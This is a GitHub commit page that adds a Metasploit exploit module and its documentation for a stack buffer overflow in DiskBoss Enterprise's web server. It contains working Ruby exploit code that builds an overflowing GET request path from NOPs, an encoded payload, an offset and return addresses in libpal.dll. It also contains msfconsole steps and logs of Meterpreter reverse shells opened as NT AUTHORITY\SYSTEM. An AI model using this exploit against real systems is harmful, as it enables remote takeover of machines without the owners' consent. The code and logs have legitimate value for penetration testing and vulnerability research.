Skip to content

Commit 64550a1

Browse files
committed
Land rapid7#7797, Add module for DiskBoss Enterprise (EDB-40869)
2 parents d85596e + 483865b commit 64550a1

File tree

2 files changed

+231
-0
lines changed

2 files changed

+231
-0
lines changed
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
## Vulnerable Application
2+
3+
[DiskBoss Enterprise](http://www.diskboss.com) versions up to v7.5.12 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/71a11b97d2361389b9099e57f6400270-diskbossent_setup_v7.4.28.exe).
4+
5+
## Verification Steps
6+
1. Install a vulnerable DiskBoss Enterprise
7+
2. Start `DiskBoss Enterprise` service
8+
3. Start `DiskBoss Enterprise` client application
9+
4. Navigate to `Tools` > `DiskBoss Server Options` > `Server`
10+
5. Check `Enable Web Server On Port 80` to start the web interface
11+
6. Start `msfconsole`
12+
7. Do `use exploit/windows/http/diskboss_get_bof`
13+
8. Do `set rhost ip`
14+
9. Do `check`
15+
10. Verify the target is vulnerable
16+
11. Do `set payload windows/meterpreter/reverse_tcp`
17+
12. Do `set lhost ip`
18+
13. Do `exploit`
19+
14. Verify the Meterpreter session is opened
20+
21+
## Scenarios
22+
23+
###DiskBoss Enterprise v7.5.12 on Windows XP SP3
24+
25+
```
26+
msf exploit(diskboss_get_bof) > options
27+
28+
Module options (exploit/windows/http/diskboss_get_bof):
29+
30+
Name Current Setting Required Description
31+
---- --------------- -------- -----------
32+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
33+
RHOST 192.168.198.130 yes The target address
34+
RPORT 80 yes The target port
35+
SSL false no Negotiate SSL/TLS for outgoing connections
36+
VHOST no HTTP server virtual host
37+
38+
39+
Payload options (windows/meterpreter/reverse_tcp):
40+
41+
Name Current Setting Required Description
42+
---- --------------- -------- -----------
43+
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
44+
LHOST 192.168.198.138 yes The listen address
45+
LPORT 4444 yes The listen port
46+
47+
48+
Exploit target:
49+
50+
Id Name
51+
-- ----
52+
0 Automatic Targeting
53+
54+
55+
msf exploit(diskboss_get_bof) > exploit
56+
57+
[*] Started reverse TCP handler on 192.168.198.138:4444
58+
[*] Automatically detecting the target...
59+
[*] Selected Target: DiskBoss Enterprise v7.5.12
60+
[*] Sending stage (957999 bytes) to 192.168.198.130
61+
[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:4476) at 2017-01-08 05:12:46 -0500
62+
63+
meterpreter > getuid
64+
Server username: NT AUTHORITY\SYSTEM
65+
meterpreter > sysinfo
66+
Computer : GABOR-03722ADE8
67+
OS : Windows XP (Build 2600, Service Pack 3).
68+
Architecture : x86
69+
System Language : en_US
70+
Domain : WORKGROUP
71+
Logged On Users : 2
72+
Meterpreter : x86/win32
73+
meterpreter >
74+
```
75+
76+
###DiskBoss Enterprise v7.4.28 on Windows 7 SP1
77+
78+
```
79+
msf exploit(diskboss_get_bof) > set rhost 192.168.198.133
80+
rhost => 192.168.198.130
81+
msf exploit(diskboss_get_bof) > exploit
82+
83+
[*] Started reverse TCP handler on 192.168.198.138:4444
84+
[*] Automatically detecting the target...
85+
[*] Selected Target: DiskBoss Enterprise v7.4.28
86+
[*] Sending stage (957999 bytes) to 192.168.198.133
87+
[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.133:49187) at 2017-01-08 05:16:13 -0500
88+
89+
meterpreter > getuid
90+
Server username: NT AUTHORITY\SYSTEM
91+
meterpreter > sysinfo
92+
Computer : WIN-BCJL9PJ5BF5
93+
OS : Windows 7 (Build 7601, Service Pack 1).
94+
Architecture : x86
95+
System Language : en_US
96+
Domain : WORKGROUP
97+
Logged On Users : 2
98+
Meterpreter : x86/win32
99+
meterpreter >
100+
```
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::Seh
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'DiskBoss Enterprise GET Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits a stack-based buffer overflow vulnerability
19+
in the web interface of DiskBoss Enterprise v7.5.12 and v7.4.28,
20+
caused by improper bounds checking of the request path in HTTP GET
21+
requests sent to the built-in web server. This module has been
22+
tested successfully on Windows XP SP3 and Windows 7 SP1.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'vportal', # Vulnerability discovery and PoC
28+
'Gabor Seljan' # Metasploit module
29+
],
30+
'References' =>
31+
[
32+
['EDB', '40869']
33+
],
34+
'DefaultOptions' =>
35+
{
36+
'EXITFUNC' => 'thread'
37+
},
38+
'Platform' => 'win',
39+
'Payload' =>
40+
{
41+
'BadChars' => "\x00\x09\x0a\x0d\x20",
42+
'Space' => 2000
43+
},
44+
'Targets' =>
45+
[
46+
[
47+
'Automatic Targeting',
48+
{
49+
'auto' => true
50+
}
51+
],
52+
[
53+
'DiskBoss Enterprise v7.4.28',
54+
{
55+
'Offset' => 2471,
56+
'Ret' => 0x1004605c # ADD ESP,0x68 # RETN [libpal.dll]
57+
}
58+
],
59+
[
60+
'DiskBoss Enterprise v7.5.12',
61+
{
62+
'Offset' => 2471,
63+
'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll]
64+
}
65+
]
66+
],
67+
'Privileged' => true,
68+
'DisclosureDate' => 'Dec 05 2016',
69+
'DefaultTarget' => 0))
70+
end
71+
72+
def check
73+
res = send_request_cgi(
74+
'method' => 'GET',
75+
'uri' => '/'
76+
)
77+
78+
if res && res.code == 200
79+
if res.body =~ /DiskBoss Enterprise v7\.(4\.28|5\.12)/
80+
return Exploit::CheckCode::Vulnerable
81+
elsif res.body =~ /DiskBoss Enterprise/
82+
return Exploit::CheckCode::Detected
83+
end
84+
else
85+
vprint_error('Unable to determine due to a HTTP connection timeout')
86+
return Exploit::CheckCode::Unknown
87+
end
88+
89+
Exploit::CheckCode::Safe
90+
end
91+
92+
def exploit
93+
mytarget = target
94+
95+
if target['auto']
96+
mytarget = nil
97+
98+
print_status('Automatically detecting the target...')
99+
100+
res = send_request_cgi(
101+
'method' => 'GET',
102+
'uri' => '/'
103+
)
104+
105+
if res && res.code == 200
106+
if res.body =~ /DiskBoss Enterprise v7\.4\.28/
107+
mytarget = targets[1]
108+
elsif res.body =~ /DiskBoss Enterprise v7\.5\.12/
109+
mytarget = targets[2]
110+
end
111+
end
112+
113+
if !mytarget
114+
fail_with(Failure::NoTarget, 'No matching target')
115+
end
116+
117+
print_status("Selected Target: #{mytarget.name}")
118+
end
119+
120+
sploit = make_nops(21)
121+
sploit << payload.encoded
122+
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
123+
sploit << [mytarget.ret].pack('V')
124+
sploit << rand_text_alpha(2500)
125+
126+
send_request_cgi(
127+
'method' => 'GET',
128+
'uri' => sploit
129+
)
130+
end
131+
end

0 commit comments

Comments
 (0)